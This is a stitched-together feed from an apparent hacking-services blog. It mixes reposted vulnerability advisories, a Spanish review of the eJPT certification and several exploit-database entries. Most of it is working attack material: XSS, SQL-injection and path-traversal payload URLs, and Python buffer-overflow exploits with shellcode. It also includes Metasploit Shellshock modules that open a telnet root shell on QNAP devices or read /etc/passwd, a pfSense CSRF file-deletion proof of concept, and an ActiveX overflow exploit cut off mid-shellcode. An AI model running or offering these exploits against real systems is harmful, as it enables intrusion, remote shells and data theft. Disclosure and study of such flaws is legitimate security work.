source: https://www.securityfocus.com/bid/51260/info
Orchard is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.
A successful exploit may aid in phishing attacks; other attacks are possible.
Orchard 1.3.9 is vulnerable; other versions may be affected.
http://www.example.com/orchard/Users/Account/LogOff?ReturnUrl=%2f%2fwww.netsparker.com%3f
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863131725
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/51261/info
Limny is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Limny 3.0.1 is vulnerable; other versions may also be affected.
http://www.example.com/admin/login.php/"/><script>alert('zsl')</script>
source: https://www.securityfocus.com/bid/51273/info
Pligg CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
Pligg CMS 1.1.2 is vulnerable; other versions may also be affected.
http://www.example.com/Audits/CMS/pligg_1.1.2/search.php?adv=1&status='and+sleep(9)or+sleep(9)or+1%3D' &search=on&advancesearch= Search+&sgroup=on&stags=0&slink=on&scategory=on&scomments=0&suser=0
source: https://www.securityfocus.com/bid/51274/info
Pligg CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Pligg CMS 1.1.4 is vulnerable; other versions may also be affected.
http://www.example.com/demo/search/')%7B%7Dalert('xss');if('
Esta review ya está deprecated debido a la salida de la segunda versión de esta certificación, el eJPTv2.
Hace 2 semanas me presenté al eJPT y pude sacarlo con éxito, quería hablar sobre que me ha parecido esta certificación y hacer una review ya que siempre veo personas que tienen dudas sobre la misma (al igual que yo antes de hacerla).Voy a intentar abordar cosas como:
- ¿Qué tan difícil es?
- ¿Qué necesito saber?
- ¿Vale la pena?
- ¿Cómo es el examen?
Voy a intentar resolver todas estas dudas para los que tengan pensado o se estén pensando en hacer la certificación ^^
- Contexto
- ¿Vale la pena?
- ¿Qué tan difícil es?
- ¿Qué necesito saber?
- ¿Cómo es el examen?
- Tips
- Conclusión
Contexto
Antes de nada, pongámonos en contexto. El eJPT ó eLearnSecurity Junior Penetration Tester, es una certificación de eLearnSecurity pensada para personas que quieran empezar una nueva carrera en el campo de la ciberseguridad, enfocado al Pentesting. Es una certificación 100% práctica que segun eLearnSecurity aborda los siguientes temas:
- TCP/IP
- IP Routing
- LAN protocols and devices
- HTTP and web technologies
- Essential penetration testing processes and methodologies
- Basic vulnerability assessment of networks
- Basic vulnerability assessment of web applications
- Exploitation with Metasploit
- Simple web application manual exploitation
- Basic information gathering and reconnaissance
- Simple scanning and profiling the target
¿Vale la pena?
Diría que depende, si eres principiante, no sabes nada y quieres introducirte en este mundo, es una gran certificación para empezar ya que tocas lo esencial. Sin embargo, si ya eres mas o menos experimentado en el sentido de que has practicado con plataformas como TryHackMe o HackTheBox, puede que te parezca bastante sencilla la certificación.
En mi caso, yo antes de realizarla llevaba bastantes máquinas de TryHackMe hechas, y habia visto casi todos los directos desde hace 3 meses que s4vitar hace en twitch. Por lo que la metodología básica de un test de penetración la tenia mas o menos clara, aunque es algo que siempre se mejora con el tiempo.
También realicé el curso oficial que te recomienda eLearnSecurity para el eJPT de la mano de INE, es totalmente gratuito si te registras con el Starter Pass (Con una simple búsqueda en google lo encontrarás), si recién empiezas, es muy recomendable hacerlo ya que abarca todo desde cero.
A nivel de explotación el examen es muy básico, sin embargo, lo que mas noté y mejoré gracias al examen y los respectivos laboratorios del curso oficial fue la enumeración. En plataformas como THM o HTB estamos acostumbrados a tener una sola máquina y enumerar solo esa, además de conocer la IP de la máquina previamente.
Esto no es así en el eJPT. En la certificación te conectas por VPN a una red de la cual tu solo sabes la IP de red, gracias a la IP que te otorgan cuando te conectas. A partir de ahí, no sabes nada, por lo que no solo mejoras el Host Discovery, sino que además, cuando te encuentres frente a 7 máquinas por ejemplo y no solo 1, el cambio es abismal, se nota mucho. Ha sido de lo que mas me ha gustado de la certificación. Ha hecho que mejore en ese aspecto.
Y, volviendo al tema de si vale la pena, si eres principiante, si, 100% recomendada, si eres ya un poco experimentado, pues depende de ti. Si quieres mejorar la enumeración, además de obtener tu primera certificación y testear un poco a eLearnSecurity para ver como funciona, también la recomiendo. Pero tienes que ir con la idea, de que no va a haber casi nada de explotación.
¿Qué tan difícil es?
Arriba creo que mas o menos ya he dado una idea, pero básicamente, en explotación no es para nada complicado, es lo más básico en ese aspecto, con que sepas XSS, SQLi y alguna que otra explotación básica de windows todo bien. Lo que si, si no estás acostumbrado a enumerar es lo que mas te puede costar y abrumar al no ser solo 1 máquina, pero nada, poco a poco. Aparte de la enumeración y la explotación, lo demás son skills básicos que tienes que saber, lo veremos ahora.
¿Qué necesito saber?
Pues, los temas de los que debes controlar para poder abordar la certificación con éxito son:
- Host Discovery
- Ports Discovery
- Enrutamiento Manual –> ip route
- Fuerza bruta a Servicios
- Fuerza bruta a Hashes
- Fuzzing
- Explotación básica, ya sea Windows o Linux –> no hay que saber nada sobre escalada de privilegios
- XSS
- SQLi
- Wireshark
- Conocimiento básico de redes
¿Cómo es el examen?
Por último, me gustaría dar algunos tips de cara al examen y explicar por encima su estructura (no haré spoilers, no es mi objetivo).
La certificación consiste en un examen tipo test de 20 preguntas y 4 posibles opciones (algunas multirespuesta) basadas en la práctica. Es decir, si te preguntan la contraseña del usuario Pepito, pues obviamente lo tienes que averiguar, asi que el examen es 100% práctico en un entorno donde puede haber tanto máquinas windows como linux. Tienes 3 días completos para contestar al tipo test y entregarlo.
El examen se puede completar fácilmente entre 3 y 8 horas, es sencillo acabarlo el primer día, por no decir, que 3 días son tiempo de sobra para completarla con tranquilidad.
En esta certificación y en las de eLearnSecurity no están prohibida ninguna herramienta, es decir, puedes usar SQLMap, Metasploit y lo que quieras, además de que el examen no es proctored, nadie te vigila mientras lo haces.
Ésta básicamente es la estructura del examen.
Tips
Tips como tal, mencionaría que fueras con calma, son 3 dias y 2 oportunidades de entregar el tipo test, además, son preguntas sencillas.
También destacaría que supieras como funciona el enrutamiento y las tablas de enrutamiento, prueba a montarte un laboratorio con 3 máquinas linux y 2 redes, e intenta que la máquina 1 use a la máquina 2 como router para poder comunicarse con la máquina 3 y viceversa, con esto seguro que te quedará bastante claro el tema, además, haz capturas con wireshark e intenta entender como se tramitan los paquetes, te ayudará.
Haz el mismo procedimiento de distintas formas, por ejemplo, cuando hagas host discovery, comprueba con al menos dos formas distintas que no se te escapa nada.
No juegues con mucha velocidad de paquetes cuando uses nmap, juega con un T4 o T5 como mucho, pero no le metas un min-rate, puede que no te detecte algún puerto de esta manera.
Organizate, no es 1 máquina como puedes estar acostumbrado, son varias, por lo que mantén tu zona de trabajo e información ordenada.
Trabaja en base a lo que te preguntan, es lo más cómodo.
Esto no es un CTF, seguro que muchas cosas son mas simples de lo que piensas.
Y el tip mas importante, disfruta aprendiendo.
Conclusión
Esto creo que es todo lo que me hubiera gustado saber antes del examen, espero que te sirva de ayuda, de todas formas, me puedes contactar por Linkedin o Twitter por si necesitas cualquier cosa o me quieras preguntar algo ^^. Si después de esto has decidido tanto presentarte como si no, está bien, en el caso de que lo vayas a hacer, mucha suerte, seguro que lo sacas ^^
Dicho esto,
Happy Hacking!
source: https://www.securityfocus.com/bid/51275/info
UBB.threads is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
UBB.threads 7.5.6 is vulnerable; other versions may also be affected.
The following exploit data is available:
http://www.example.com/forums/ubbthreads.php/ubb/login/lostpw/1
POST /forums/ubbthreads.php
ubb=start_page&Loginname=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&Email=&buttforgot=I+forgot+my+password
source: https://www.securityfocus.com/bid/51276/info
Yaws is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are possible.
Yaws 1.88 is vulnerable; other versions may be affected.
http://www.example.com/editTag.yaws?node=ALockedPage&tag=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://www.example.com/showOldPage.yaws?node=home&index=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://www.example.com/allRefsToMe.yaws?node=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://www.example.com/editPage.yaws?node=home
source: https://www.securityfocus.com/bid/51280/info
StatIt is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
StatIt 4 is vulnerable; other versions may be affected.
The following example URIs are available:
http://www.example.com/statit4/statistik.php?st_id=1&action=stat_last%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E&enc=333263120212292&agent=ari/534.30&PHPSESSID=14d0f57363caf5ef2d7fb1b56238dace&PHPSESSID=14d0f57363caf5ef2d7fb1b56238dace
http://www.example.com/statit4/statistik.php?action=stat_tld&st_id=1&show=more%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E\&PHPSESSID=d8679fc904017bdf6b09f5d88f7cf979
http://www.example.com/statit4/statistik.php?action=stat_abfragen&st_id=1&show=more&order=2%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E&sort=1&PHPSESSID=698bf9d1e988e3af70022f1dfb86fd33
source: https://www.securityfocus.com/bid/51286/info
HServer web server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.
Exploiting this issue will allow an attacker to view arbitrary files within the context of the web server. Information harvested may aid in launching further attacks.
HServer 0.1.1 is vulnerable; other versions may also be affected.
http://www.example.com/..%5c..%5c..%5cboot.ini
http://www.example.com/..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem32%5cdr ivers%5cetc%5chosts
#!/usr/bin/env python
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: Mini-sream Ripper v2.7.7.100 Local Buffer Overflow
#[+] Date: 25-03-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/43/Mini-streamRipper.exe?token=1427334864_8d9c5d7d948871f54ae14ed9304d1ddf&fileName=Mini-streamRipper.exe
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R
#[+] Original POC:
# http://www.exploit-db.com/exploits/11197/
#POC:
#IMG1:
#http://i.imgur.com/ifXYgwx.png
#IMG2:
#http://i.imgur.com/ZMisj6R.png
from struct import pack
file="crack.m3u"
junk="\x41"*35032
eip=pack('<I',0x7C9D30D7)
junk2="\x44"*4
#Messagebox Shellcode (113 bytes) - Any Windows Version By Giuseppe D'Amore
#http://www.exploit-db.com/exploits/28996/
shellcode= ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7")
writeFile = open (file, "w")
writeFile.write(junk+eip+junk2+shellcode)
writeFile.close()
#!/usr/bin/env python
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: RM Downloader v2.7.5.400 Local Buffer Overflow
#[+] Date: 25-03-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/49/Mini-streamRM-MP3Converter.exe?token=1427318981_98f71d0e10e2e3bd2e730179341feb0a&fileName=Mini-streamRM-MP3Converter.exe
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R
#[+] Related Vulnerability/ies:
# http://www.exploit-db.com/exploits/8628/
#POC:
#IMG1:
#http://i.imgur.com/87sXIj8.png
from struct import pack
file="crack.ram"
junk="\x41"*35032
eip=pack('<I',0x7C9D30D7)
junk2="\x44"*4
#Messagebox Shellcode (113 bytes) - Any Windows Version By Giuseppe D'Amore
#http://www.exploit-db.com/exploits/28996/
shellcode= ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7")
writeFile = open (file, "w")
writeFile.write(junk+eip+junk2+shellcode)
writeFile.close()
# Exploit Title: QNAP admin shell via Bash Environment Variable Code Injection
# Date: 7 February 2015
# Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
# Employer homepage: http://www.securegroup.it
# Vendor homepage: http://www.qnap.com
# Version: All Turbo NAS models except TS-100, TS-101, TS-200
# Tested on: TS-1279U-RP
# CVE : 2014-6271
# Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/d3vpp/metasploit-modules
##
require 'msf/core'
require 'net/telnet'
class Metasploit3 < Msf::Auxiliary
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::CommandShell
def initialize(info = {})
super(update_info(info,
'Name' => 'QNAP admin shell via Bash Environment Variable Code Injection',
'Description' => %q{
This module allows you to spawn a remote admin shell (utelnetd) on a QNAP device via Bash Environment Variable Code Injection.
Affected products:
All Turbo NAS models except TS-100, TS-101, TS-200
},
'Author' => ['Patrick Pellegrino'], # Metasploit module | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
'License' => MSF_LICENSE,
'References' => [
['CVE', '2014-6271'], #aka ShellShock
['URL', 'http://www.qnap.com/i/it/support/con_show.php?cid=61']
],
'Platform' => ['unix']
))
register_options([
OptString.new('TARGETURI', [true, 'Path to CGI script','/cgi-bin/index.cgi']),
OptPort.new('LTELNET', [true, 'Set the remote port where the utelnetd service will be listening','9993'])
], self.class)
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'agent' => "() { :;}; echo; /usr/bin/id"
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
vprint_error("Connection failed")
return Exploit::CheckCode::Unknown
end
if !res
return Exploit::CheckCode::Unknown
elsif res.code== 302 and res.body.include? 'uid'
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit_telnet()
telnetport = datastore['LTELNET']
print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")
print_status("#{rhost}:#{rport} - Sending exploit")
begin
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
if sock
print_good("#{rhost}:#{rport} - Backdoor service spawned")
add_socket(sock)
else
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service not spawned")
end
print_status "Starting a Telnet session #{rhost}:#{telnetport}"
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
'USERNAME' => nil,
'PASSWORD' => nil
}
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
rescue
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service not handled")
end
return
end
def run
begin
telnetport = datastore['LTELNET']
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'agent' => "() { :;}; /bin/utelnetd -l/bin/sh -p#{telnetport} &"
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable => e
fail_with(Failure::Unreachable, e)
ensure
disconnect
end
exploit_telnet()
end
end
# Exploit Title: QNAP Web server remote code execution via Bash Environment Variable Code Injection
# Date: 7 February 2015
# Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
# Employer homepage: http://www.securegroup.it
# Vendor homepage: http://www.qnap.com
# Version: All Turbo NAS models except TS-100, TS-101, TS-200
# Tested on: TS-1279U-RP
# CVE : 2014-6271
# Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/d3vpp/metasploit-modules
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'QNAP Web server remote code execution via Bash Environment Variable Code Injection',
'Description' => %q{
This module allows you to inject unix command with the same user who runs the http service - admin - directly on the QNAP system.
Affected products:
All Turbo NAS models except TS-100, TS-101, TS-200
},
'Author' => ['Patrick Pellegrino'], # Metasploit module | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
'License' => MSF_LICENSE,
'References' => [
['CVE', '2014-6271'], #aka ShellShock
['URL', 'http://www.qnap.com/i/it/support/con_show.php?cid=61']
],
'Platform' => ['unix']
))
register_options([
OptString.new('TARGETURI', [true, 'Path to CGI script','/cgi-bin/index.cgi']),
OptString.new('CMD', [ true, 'The command to run', '/bin/cat /etc/passwd'])
], self.class)
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'agent' => "() { :;}; echo; /usr/bin/id"
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
vprint_error("Connection failed")
return Exploit::CheckCode::Unknown
end
if !res
return Exploit::CheckCode::Unknown
elsif res.code== 302 and res.body.include? 'uid'
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def run
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'agent' => "() { :;}; echo; #{datastore['CMD']}"
})
if res.body.empty?
print_error("No data found.")
elsif res.code== 302
print_status("#{rhost}:#{rport} - bash env variable injected")
puts " "
print_line(res.body)
end
end
end
Advisory ID: HTB23251
Product: pfSense
Vendor: Electric Sheep Fencing LLC
Vulnerable Version(s): 2.2 and probably prior
Tested Version: 2.2
Advisory Publication: March 4, 2015 [without technical details]
Vendor Notification: March 4, 2015
Vendor Patch: March 5, 2015
Public Disclosure: March 25, 2015
Vulnerability Type: Cross-Site Scripting [CWE-79], Cross-Site Request Forgery [CWE-352]
CVE References: CVE-2015-2294, CVE-2015-2295
Risk Level: Medium
CVSSv2 Base Scores: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N), 5.4 (AV:N/AC:H/Au:N/C:N/I:N/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in web interface of pfSense, which can be exploited to perform Cross-Site Scripting (XSS) attacks against administrator of pfSense and delete arbitrary files via CSRF (Cross-Site Request Forgery) attacks.
Successful exploitation of the vulnerabilities may allow an attacker to delete arbitrary files on the system with root privileges, steal administrator’s cookies and gain complete control over the web application and even the entire system, as pfSense is running with root privileges and allows OS command execution via its web interface.
1) Multiple XSS vulnerabilities in pfSense: CVE-2015-2294
1.1 Input passed via the "zone" HTTP GET parameter to "/status_captiveportal.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:
https://[host]/status_captiveportal.php?zone=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
1.2 Input passed via the "if" and "dragtable" HTTP GET parameters to "/firewall_rules.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
Below are two PoC codes for each vulnerable parameter that use JS "alert()" function to display "ImmuniWeb" popup:
https://[host]/firewall_rules.php?undodrag=1&dragtable=&if=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/firewall_rules.php?if=wan&undodrag=1&dragtable%5B%5D=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
1.3 Input passed via the "queue" HTTP GET parameter to "/firewall_shaper.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:
https://[host]/firewall_shaper.php?interface=wan&action=add&queue=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
1.4 Input passed via the "id" HTTP GET parameter to "/services_unbound_acls.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:
https://[host]/services_unbound_acls.php?act=edit&id=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
1.5 Input passed via the "filterlogentries_time", "filterlogentries_sourceipaddress", "filterlogentries_sourceport", "filterlogentries_destinationipaddress", "filterlogentries_interfaces", "filterlogentries_destinationport", "filterlogentries_protocolflags" and "filterlogentries_qty" HTTP GET parameters to "/diag_logs_filter.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
Below are eight PoC codes for each vulnerable parameter that use JS "alert()" function to display "ImmuniWeb" popup:
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_time=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_interfaces=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_protocolflags=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_qty=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
2) Cross-Site Request Forgery (CSRF) in pfSense: CVE-2015-2295
2.1 The vulnerability exists due to insufficient validation of the HTTP request origin in "/system_firmware_restorefullbackup.php" script. A remote attacker can trick a log-in administrator to visit a malicious page with CSRF exploit and delete arbitrary files on the target system with root privileges.
The following PoC code deletes file "/etc/passwd":
https://[host]/system_firmware_restorefullbackup.php?deletefile=../etc/passwd
-----------------------------------------------------------------------------------------------
Solution:
Update to pfSense 2.2.1
More Information:
https://blog.pfsense.org/?p=1661
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23251 - https://www.htbridge.com/advisory/HTB23251 - Arbitrary file deletion and multiple XSS vulnerabilities in pfSense.
[2] pfSense - https://www.pfsense.org - The pfSense® project is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
<html>
<!--
# Exploit Title: WebGate eDVR Manager WESPMonitor.WESPMonitorCtrl LoadImage Stack Buffer Overflow Remote Code Execution (0 day)
# Date: 26th MArch, 2015
# Exploit Author: Praveen Darshanam
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/
# Software Link: http://www.webgateinc.com/wgi_htdocs/eng/dcenter/view.php?id=wgi_eng&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=531&category_group=4&category_product=74&category=174
# Version: 1, 6, 42, 0
# Tested on: Windows XP SP3 (IE6/7/8)
# CVE : 2015-2097
targetFile = "C:\Windows\System32\WESPSDK\WESPMonitor.dll"
prototype = "Sub LoadImage ( ByVal bstrFullPath As String )"
memberName = "LoadImage"
progid = "WESPMONITORLib.WESPMonitorCtrl"
argCount = 1
For full analysis of the exploit refer
http://blog.disects.com/2015/03/webgate-edvr-manager.html
-->
<object classid='clsid:B19147A0-C2FD-4B1F-BD20-3A3E1ABC4FC3' id='target'>
</object>
<script>
var arg1 = "";
nops = "";
var buff = "";
for(i=0;i<268;i++)
{
arg1 += "B";
}
nseh = "\xeb\x10\x90\x90"; //jmp over addr
seh = "\x71\x47\x01\x10"; //pop pop ret addr
document.write("</br>"+"Lengths: arg1="+arg1.length+" seh="+seh.length+"</br>");
for(i=0;i<200;i++)
{
nops += "\x90";
}
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
